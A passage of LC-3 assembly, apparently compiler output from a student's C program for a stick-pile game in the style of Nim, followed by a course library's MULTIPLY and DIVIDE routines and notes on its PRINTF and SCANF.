ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 ADD R6,R6,#1 ADD R0,R4,#0 ADD R1,R0,R1 LDR R0,R1,#0 ADD R6,R6,#-1 STR R0,R6,#0 LDR R0,R5,#-2 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnz LBL74 ADD R2,R2,#1 LBL74 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL76 LD R3,LBL75 JMP R3 LBL75 .FILL LBL71 LBL76 LEA R0,LBL77 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL78 LBL77 .STRINGZ "*" LBL78 LD R0,LBL79 JSRR R0 BRnzp LBL80 LBL79 .FILL PRINTF LBL80 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#1 ADD R6,R6,#-1 STR R0,R6,#0 ADD R6,R6,#1 ADD R0,R5,#-2 LDR R1,R0,#0 ADD R2,R1,#1 STR R2,R0,#0 ADD R6,R6,#-1 STR R1,R6,#0 ADD R6,R6,#1 ; LBL82 LD R3,LBL81 JMP R3 LBL81 .FILL LBL70 LBL82 LBL71 LEA R0,LBL83 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL84 LBL83 .STRINGZ "\n" LBL84 LD R0,LBL85 JSRR R0 BRnzp LBL86 LBL85 .FILL PRINTF LBL86 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#1 ADD R6,R6,#-1 STR R0,R6,#0 ADD R6,R6,#1 ADD R0,R5,#-1 LDR R1,R0,#0 ADD R2,R1,#1 STR R2,R0,#0 ADD R6,R6,#-1 STR R1,R6,#0 ADD R6,R6,#1 ; LBL88 LD R3,LBL87 JMP R3 LBL87 .FILL LBL53 LBL88 LBL54 LD R0,LBL91 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL92 LBL91 .FILL #0 LBL92 ADD R0,R5,#-4 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 LBL89 LD R0,LBL94 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL95 LBL94 .FILL #0 LBL95 LDR R0,R5,#-4 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnp LBL93 ADD R2,R2,#1 LBL93 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL97 LD R3,LBL96 JMP R3 LBL96 .FILL LBL90 LBL97 LEA R0,LBL98 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL99 LBL98 .STRINGZ "From which pile will you take sticks? " LBL99 LD R0,LBL100 JSRR R0 BRnzp LBL101 LBL100 .FILL PRINTF LBL101 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#1 ADD R6,R6,#-1 STR R0,R6,#0 ADD R6,R6,#1 LD R0,LBL110 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL111 LBL110 .FILL #1 LBL111 ADD R0,R5,#-5 ADD R6,R6,#-1 STR R0,R6,#0 LEA R0,LBL112 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL113 LBL112 .STRINGZ "%d" LBL113 LD R0,LBL114 JSRR R0 BRnzp LBL115 LBL114 .FILL SCANF LBL115 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#2 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRz LBL109 ADD R2,R2,#1 LBL109 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRz LBL117 LD R3,LBL116 JMP R3 LBL116 .FILL LBL107 LBL117 LD R0,LBL119 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL120 LBL119 .FILL #1 LBL120 LDR R0,R5,#-5 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnz LBL118 ADD R2,R2,#1 LBL118 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL107 AND R2,R2,#0 BRnzp LBL108 LBL107 AND R2,R2,#0 ADD R2,R2,#1 LBL108 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRz LBL122 LD R3,LBL121 JMP R3 LBL121 .FILL LBL105 LBL122 LD R0,LBL124 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL125 LBL124 .FILL #3 LBL125 LDR R0,R5,#-5 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRzp LBL123 ADD R2,R2,#1 LBL123 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL105 AND R2,R2,#0 BRnzp LBL106 LBL105 AND R2,R2,#0 ADD R2,R2,#1 LBL106 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRz LBL127 LD R3,LBL126 JMP R3 LBL126 .FILL LBL103 LBL127 LD R0,LBL129 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL130 LBL129 .FILL #0 LBL130 LD R0,LBL131 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL132 LBL131 .FILL #0 LBL132 LD R0,LBL133 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL134 LBL133 .FILL #1 LBL134 LDR R1,R6,#0 ADD R6,R6,#1 LDR R0,R6,#0 ADD R6,R6,#1 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 ADD R6,R6,#1 ADD R0,R4,#0 ADD R1,R0,R1 LDR R0,R1,#0 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnp LBL128 ADD R2,R2,#1 LBL128 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL103 AND R2,R2,#0 BRnzp LBL104 LBL103 AND R2,R2,#0 ADD R2,R2,#1 LBL104 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL136 LD R3,LBL135 JMP R3 LBL135 .FILL LBL102 LBL136 LEA R0,LBL137 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL138 LBL137 .STRINGZ "That's not a good choice.\n" LBL138 LD R0,LBL139 JSRR R0 BRnzp LBL140 LBL139 .FILL PRINTF LBL140 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#1 ADD R6,R6,#-1 STR R0,R6,#0 ADD R6,R6,#1 ; LBL143 LD R3,LBL142 JMP R3 LBL142 .FILL LBL141 LBL143 LBL102 LD R0,LBL144 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL145 LBL144 .FILL #1 LBL145 ADD R0,R5,#-4 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 LD R0,LBL146 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL147 LBL146 .FILL #0 LBL147 LD R0,LBL148 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL149 LBL148 .FILL #1 LBL149 LDR R1,R6,#0 ADD R6,R6,#1 LDR R0,R6,#0 ADD R6,R6,#1 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 ADD R6,R6,#-1 STR R0,R6,#0 ADD R0,R5,#-5 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 LBL141 ; LBL151 LD R3,LBL150 JMP R3 LBL150 .FILL LBL89 LBL151 LBL90 LD R0,LBL154 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL155 LBL154 .FILL #0 LBL155 ADD R0,R5,#-4 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 LBL152 LD R0,LBL157 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL158 LBL157 .FILL #0 LBL158 LDR R0,R5,#-4 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnp LBL156 ADD R2,R2,#1 LBL156 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL160 LD R3,LBL159 JMP R3 LBL159 .FILL LBL153 LBL160 LD R0,LBL161 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL162 LBL161 .FILL #0 LBL162 LD R0,LBL163 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL164 LBL163 .FILL #1 LBL164 LDR R1,R6,#0 ADD R6,R6,#1 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,R1 ADD R6,R6,#-1 STR R0,R6,#0 LEA R0,LBL165 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL166 LBL165 .STRINGZ "How many sticks will you take from pile %d? " LBL166 LD R0,LBL167 JSRR R0 BRnzp LBL168 LBL167 .FILL PRINTF LBL168 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#2 ADD R6,R6,#-1 STR R0,R6,#0 ADD R6,R6,#1 LD R0,LBL175 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL176 LBL175 .FILL #1 LBL176 ADD R0,R5,#-6 ADD R6,R6,#-1 STR R0,R6,#0 LEA R0,LBL177 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL178 LBL177 .STRINGZ "%d" LBL178 LD R0,LBL179 JSRR R0 BRnzp LBL180 LBL179 .FILL SCANF LBL180 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#2 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRz LBL174 ADD R2,R2,#1 LBL174 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRz LBL182 LD R3,LBL181 JMP R3 LBL181 .FILL LBL172 LBL182 LD R0,LBL184 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL185 LBL184 .FILL #0 LBL185 LDR R0,R5,#-6 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRn LBL183 ADD R2,R2,#1 LBL183 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL172 AND R2,R2,#0 BRnzp LBL173 LBL172 AND R2,R2,#0 ADD R2,R2,#1 LBL173 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRz LBL187 LD R3,LBL186 JMP R3 LBL186 .FILL LBL170 LBL187 LDR R0,R5,#-5 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 ADD R6,R6,#1 ADD R0,R4,#0 ADD R1,R0,R1 LDR R0,R1,#0 ADD R6,R6,#-1 STR R0,R6,#0 LDR R0,R5,#-6 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRzp LBL188 ADD R2,R2,#1 LBL188 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL170 AND R2,R2,#0 BRnzp LBL171 LBL170 AND R2,R2,#0 ADD R2,R2,#1 LBL171 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL190 LD R3,LBL189 JMP R3 LBL189 .FILL LBL169 LBL190 LEA R0,LBL191 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL192 LBL191 .STRINGZ "That's not a good choice.\n" LBL192 LD R0,LBL193 JSRR R0 BRnzp LBL194 LBL193 .FILL PRINTF LBL194 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#1 ADD R6,R6,#-1 STR R0,R6,#0 ADD R6,R6,#1 ; LBL197 LD R3,LBL196 JMP R3 LBL196 .FILL LBL195 LBL197 LBL169 LD R0,LBL198 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL199 LBL198 .FILL #1 LBL199 ADD R0,R5,#-4 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 LBL195 ; LBL201 LD R3,LBL200 JMP R3 LBL200 .FILL LBL152 LBL201 LBL153 LD R0,LBL202 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL203 LBL202 .FILL #0 LBL203 LD R0,LBL204 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL205 LBL204 .FILL #0 LBL205 LDR R1,R6,#0 ADD R6,R6,#1 LDR R0,R6,#0 ADD R6,R6,#1 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 ADD R6,R6,#-1 STR R0,R6,#0 LDR R0,R5,#-5 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 ADD R6,R6,#1 ADD R0,R4,#0 ADD R0,R0,R1 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 LD R0,LBL212 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL213 LBL212 .FILL #0 LBL213 LD R0,LBL214 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL215 LBL214 .FILL #0 LBL215 LDR R1,R6,#0 ADD R6,R6,#1 ADD R0,R4,#0 ADD R1,R0,R1 LDR R0,R1,#0 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnp LBL211 ADD R2,R2,#1 LBL211 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL217 LD R3,LBL216 JMP R3 LBL216 .FILL LBL209 LBL217 LD R0,LBL219 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL220 LBL219 .FILL #0 LBL220 LD R0,LBL221 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL222 LBL221 .FILL #1 LBL222 LDR R1,R6,#0 ADD R6,R6,#1 ADD R0,R4,#0 ADD R1,R0,R1 LDR R0,R1,#0 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnp LBL218 ADD R2,R2,#1 LBL218 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRz LBL209 AND R2,R2,#0 ADD R2,R2,#1 BRnzp LBL210 LBL209 AND R2,R2,#0 LBL210 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL224 LD R3,LBL223 JMP R3 LBL223 .FILL LBL207 LBL224 LD R0,LBL226 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL227 LBL226 .FILL #0 LBL227 LD R0,LBL228 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL229 LBL228 .FILL #2 LBL229 LDR R1,R6,#0 ADD R6,R6,#1 ADD R0,R4,#0 ADD R1,R0,R1 LDR R0,R1,#0 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnp LBL225 ADD R2,R2,#1 LBL225 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRz LBL207 AND R2,R2,#0 ADD R2,R2,#1 BRnzp LBL208 LBL207 AND R2,R2,#0 LBL208 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL231 LD R3,LBL230 JMP R3 LBL230 .FILL LBL206 LBL231 LEA R0,LBL232 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL233 LBL232 .STRINGZ "You win!\n" LBL233 LD R0,LBL234 JSRR R0 BRnzp LBL235 LBL234 .FILL PRINTF LBL235 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#1 ADD R6,R6,#-1 STR R0,R6,#0 ADD R6,R6,#1 LD R0,LBL236 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL237 LBL236 .FILL #1 LBL237 ADD R0,R5,#-3 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 ; LBL240 LD R3,LBL239 JMP R3 LBL239 .FILL LBL238 LBL240 LBL206 LD R0,LBL243 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL244 LBL243 .FILL #0 LBL244 LD R0,LBL245 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL246 LBL245 .FILL #3 LBL246 LDR R1,R6,#0 ADD R6,R6,#1 LDR R0,R6,#0 ADD R6,R6,#1 LD R3,LBL247 JSRR R3 BRnzp LBL248 LBL247 .FILL MODULUS LBL248 ADD R6,R6,#-1 STR R0,R6,#0 ADD R0,R5,#-5 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 LBL241 LD R0,LBL250 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL251 LBL250 .FILL #0 LBL251 LDR R0,R5,#-5 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 ADD R6,R6,#1 ADD R0,R4,#0 ADD R1,R0,R1 LDR R0,R1,#0 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnp LBL249 ADD R2,R2,#1 LBL249 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL253 LD R3,LBL252 JMP R3 LBL252 .FILL LBL242 LBL253 LD R0,LBL254 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL255 LBL254 .FILL #0 LBL255 LD R0,LBL256 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL257 LBL256 .FILL #3 LBL257 LDR R1,R6,#0 ADD R6,R6,#1 LDR R0,R6,#0 ADD R6,R6,#1 LD R3,LBL258 JSRR R3 BRnzp LBL259 LBL258 .FILL MODULUS LBL259 ADD R6,R6,#-1 STR R0,R6,#0 ADD R0,R5,#-5 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 ; LBL261 LD R3,LBL260 JMP R3 LBL260 .FILL LBL241 LBL261 LBL242 LD R0,LBL262 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL263 LBL262 .FILL #0 LBL263 LD R0,LBL264 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL265 LBL264 .FILL #1 LBL265 LDR R1,R6,#0 ADD R6,R6,#1 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,R1 ADD R6,R6,#-1 STR R0,R6,#0 ADD R0,R5,#-6 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 LD R0,LBL266 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL267 LBL266 .FILL #0 LBL267 LD R0,LBL268 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL269 LBL268 .FILL #1 LBL269 LDR R1,R6,#0 ADD R6,R6,#1 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,R1 ADD R6,R6,#-1 STR R0,R6,#0 LDR R0,R5,#-6 ADD R6,R6,#-1 STR R0,R6,#0 LEA R0,LBL270 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL271 LBL270 .STRINGZ "I take %d from pile %d\n" LBL271 LD R0,LBL272 JSRR R0 BRnzp LBL273 LBL272 .FILL PRINTF LBL273 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#3 ADD R6,R6,#-1 STR R0,R6,#0 ADD R6,R6,#1 LD R0,LBL274 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL275 LBL274 .FILL #0 LBL275 LD R0,LBL276 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL277 LBL276 .FILL #0 LBL277 LDR R1,R6,#0 ADD R6,R6,#1 LDR R0,R6,#0 ADD R6,R6,#1 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 ADD R6,R6,#-1 STR R0,R6,#0 LDR R0,R5,#-5 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 ADD R6,R6,#1 ADD R0,R4,#0 ADD R0,R0,R1 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 LD R0,LBL284 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL285 LBL284 .FILL #0 LBL285 LD R0,LBL286 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL287 LBL286 .FILL #0 LBL287 LDR R1,R6,#0 ADD R6,R6,#1 ADD R0,R4,#0 ADD R1,R0,R1 LDR R0,R1,#0 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnp LBL283 ADD R2,R2,#1 LBL283 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL289 LD R3,LBL288 JMP R3 LBL288 .FILL LBL281 LBL289 LD R0,LBL291 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL292 LBL291 .FILL #0 LBL292 LD R0,LBL293 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL294 LBL293 .FILL #1 LBL294 LDR R1,R6,#0 ADD R6,R6,#1 ADD R0,R4,#0 ADD R1,R0,R1 LDR R0,R1,#0 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnp LBL290 ADD R2,R2,#1 LBL290 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRz LBL281 AND R2,R2,#0 ADD R2,R2,#1 BRnzp LBL282 LBL281 AND R2,R2,#0 LBL282 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL296 LD R3,LBL295 JMP R3 LBL295 .FILL LBL279 LBL296 LD R0,LBL298 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL299 LBL298 .FILL #0 LBL299 LD R0,LBL300 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL301 LBL300 .FILL #2 LBL301 LDR R1,R6,#0 ADD R6,R6,#1 ADD R0,R4,#0 ADD R1,R0,R1 LDR R0,R1,#0 ADD R6,R6,#-1 STR R0,R6,#0 LDR R1,R6,#0 LDR R0,R6,#1 ADD R6,R6,#2 AND R2,R2,#0 NOT R1,R1 ADD R1,R1,#1 ADD R0,R0,R1 BRnp LBL297 ADD R2,R2,#1 LBL297 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRz LBL279 AND R2,R2,#0 ADD R2,R2,#1 BRnzp LBL280 LBL279 AND R2,R2,#0 LBL280 ADD R6,R6,#-1 STR R2,R6,#0 LDR R0,R6,#0 ADD R6,R6,#1 ADD R0,R0,#0 BRnp LBL303 LD R3,LBL302 JMP R3 LBL302 .FILL LBL278 LBL303 LEA R0,LBL304 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL305 LBL304 .STRINGZ "I win!\n" LBL305 LD R0,LBL306 JSRR R0 BRnzp LBL307 LBL306 .FILL PRINTF LBL307 LDR R0,R6,#0 ADD R6,R6,#1 ADD R6,R6,#1 ADD R6,R6,#-1 STR R0,R6,#0 ADD R6,R6,#1 LD R0,LBL308 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL309 LBL308 .FILL #1 LBL309 ADD R0,R5,#-3 LDR R1,R6,#0 STR R1,R0,#0 ADD R6,R6,#1 ; LBL312 LD R3,LBL311 JMP R3 LBL311 .FILL LBL310 LBL312 LBL278 LBL310 LBL238 ; LBL314 LD R3,LBL313 JMP R3 LBL313 .FILL LBL44 LBL314 LBL45 LD R0,LBL315 ADD R6,R6,#-1 STR R0,R6,#0 BRnzp LBL316 LBL315 .FILL #0 LBL316 LDR R0,R6,#0 ADD R6,R6,#1 STR R0,R5,#3 ; LBL318 LD R3,LBL317 JMP R3 LBL317 .FILL LBL1 LBL318 LBL1 ;--------------------------------------------------------------------------- ; STUDENT CODE ENDS HERE ;--------------------------------------------------------------------------- LDR R0,R6,#0 ; restore R0...R3 LDR R1,R6,#1 LDR R2,R6,#2 LDR R3,R6,#3 ADD R6,R5,#1 ; pop off local variables LDR R5,R6,#0 LDR R7,R6,#1 ADD R6,R6,#2 ; leave return value on stack RET ;--------------------------------------------------------------------------- ; C library routines ;--------------------------------------------------------------------------- ; assembly routines in this library ; MULTIPLY (R0 <- R0 * R1) ; DIVIDE (R0 <- R0 / R1, rounded toward 0) ; MODULUS (R0 <- R0 MOD R1, using C's definition) ; routines with C interfaces in this library ; int PRINTF (const char* fmt, ...); ; int SCANF (const char* fmt, ...); ; void SRAND (int new_seed); ; int RAND (); ; NOTES: ; - ALL C ROUTINES LEAVE A RETURN VALUE LOCATION ON THE STACK, EVEN ; IF THEY PRODUCE NO RETURN VALUE! ; - PRINTF and SCANF only handle %d, %%, \n, \\, and normal characters ; ; INTERNAL routines (you should not call them) ; LOG_RIGHT_SHIFT ; PRINT_NUM ; LOAD_FORMAT ; ;--------------------------------------------------------------------------- ; MULTIPLY -- calculate R0 * R1 ; INPUTS -- R0 and R1 ; OUTPUTS -- R0 is the product ; SIDE EFFECTS -- uses stack to save registers ; NOTE: the calling convention here is NOT for use directly by C ; MULTIPLY ADD R6,R6,#-3 ; save R1, R2, and R3 STR R1,R6,#0 STR R2,R6,#1 STR R3,R6,#2 AND R2,R2,#0 ; number of negative operands ADD R1,R1,#0 ; set R1 to its absolute value BRzp MULT_R1_NON_NEG NOT R1,R1 ADD R1,R1,#1 ADD R2,R2,#1 MULT_R1_NON_NEG AND R3,R3,#0 MULT_LOOP ADD R1,R1,#0 BRz MULT_FINISH ADD R3,R3,R0 ADD R1,R1,#-1 BRnzp MULT_LOOP MULT_FINISH ADD R0,R3,#0 ; move result into R0 AND R2,R2,#1 ; negate answer? BRz MULT_DONE NOT R0,R0 ADD R0,R0,#1 MULT_DONE LDR R1,R6,#0 ; restore R1, R2, and R3 LDR R2,R6,#1 LDR R3,R6,#2 ADD R6,R6,#3 RET ; DIVIDE -- calculate R0 / R1 (rounded toward zero) ; INPUTS -- R0 and R1 ; OUTPUTS -- R0 is the quotient ; SIDE EFFECTS -- uses stack to save registers; may print divide by ; zero error ; NOTE: the calling convention here is NOT for use directly by C ; DIVIDE ADD R6,R6,#-4 ; save R1, R2, R3, and R7 STR R1,R6,#0 STR R2,R6,#1 STR R3,R6,#2 STR R7,R6,#3 AND R2,R2,#0 ; number of negative operands ADD R2,R2,#1 ADD R1,R1,#0 ; set R1 to its negative absolute value BRn DIV_R1_NEG BRp DIV_R1_POS LEA R0,MSG_DIV PUTS AND R0,R0,#0 BRnzp DIV_DONE DIV_R1_POS NOT R1,R1 ADD R1,R1,#1 ADD R2,R2,#-1 DIV_R1_NEG ADD R0,R0,#0 ; set R0 to its absolute value BRzp DIV_R0_NON_NEG NOT R0,R0 ADD R0,R0,#1 ADD R2,R2,#1 DIV_R0_NON_NEG AND R3,R3,#0 DIV_LOOP ADD R0,R0,R1 BRn DIV_FINISH ADD R3,R3,#1 BRnzp DIV_LOOP DIV_FINISH ADD R0,R3,#0 ; move result into R0 AND R2,R2,#1 ; negate answer? BRz DIV_DONE NOT R0,R0 ADD R0,R0,#1 DIV_DONE LDR R1,R6,#0 ; restore R1, R2, R3, and R7 LDR R2,R6,#1 LDR R3,R6,#2 LDR R7,R6,#3 ADD R6,R6,#4 RET MSG_DIV .STRINGZ "\nDIVIDE BY ZERO\n" ; 